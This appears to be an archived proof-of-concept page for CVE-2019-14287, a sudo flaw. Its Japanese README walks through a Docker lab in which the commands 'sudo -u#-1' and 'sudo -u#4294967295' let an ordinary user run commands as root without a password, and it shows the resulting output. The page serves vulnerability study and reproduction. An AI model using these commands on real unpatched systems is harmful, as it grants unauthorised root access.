Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-14287 PoC — Sudo 输入验证错误漏洞

Source
Associated Vulnerability
Title:Sudo 输入验证错误漏洞 (CVE-2019-14287)
Description:Sudo是一款使用于类Unix系统的,允许用户通过安全的方式使用特殊的权限执行命令的程序。 sudo 1.8.28之前版本中存在安全漏洞。攻击者可利用该漏洞以root权限运行命令。
Readme
# PoC of CVE-2019-14287

## 概要
sudo の脆弱性 ([CVE-2019-14287](https://www.sudo.ws/security/advisories/minus_1_uid/)) を Docker コンテナ上で再現するサンプルです。

## 演習手順
1. `docker compose up -d` でコンテナを立ち上げる
1. `docker exec -it vulnerable_sudo_app bash` でコンテナに入る
1. `whoami`や `id`コマンドを実行して、自分が一般ユーザである(rootでない)ことを確認
    ```
    $ whoami
    user1
    $ id
    uid=1000(user1) gid=1000(user1) groups=1000(user1)
    $ id -u
    1000
    ```
1. `sudo -u#0 whoami` や `sudo -u#0 id -u` が実行できないことを確認する
    - uid (`-u` オプション) に 0 (root)を指定して実行する
    - パスワードを求められるが、パスワードは知らないので実行できない
    ```
    $ sudo -u#0 whoami
    [sudo] password for user1:
    $ sudo -u#0 id
    [sudo] password for user1:
    $ sudo -u#0 id -u
    [sudo] password for user1:
    ```
1. `sudo -u#-1 whoami` や `sudo -u#-1 id -u` を実行して、認証なしで root としてコマンドが実行できることを確認する(脆弱性の再現)
    - `-u#4294967295` でも同様のことができる
    ```
    $ sudo -u#-1 whoami
    root
    $ sudo -u#-1 id
    uid=0(root) gid=1000(user1) groups=1000(user1)
    $ sudo -u#-1 id -u
    0
    ```

## 参考
- [CVE \- CVE\-2019\-14287](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14287)
- [Potential bypass of Runas user restrictions \| Sudo](https://www.sudo.ws/security/advisories/minus_1_uid/)
- [sudoの脆弱性\(CVE\-2019\-14287\)についてまとめてみた \- Qiita](https://qiita.com/task4233/items/80a5ea1c0b4f8e45db2e)
File Snapshot

[4.0K] /data/pocs/7767c99a9a0f46307fa742a2799064b7fb3b1ef3 ├── [ 150] docker-compose.yml ├── [ 428] Dockerfile └── [1.7K] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.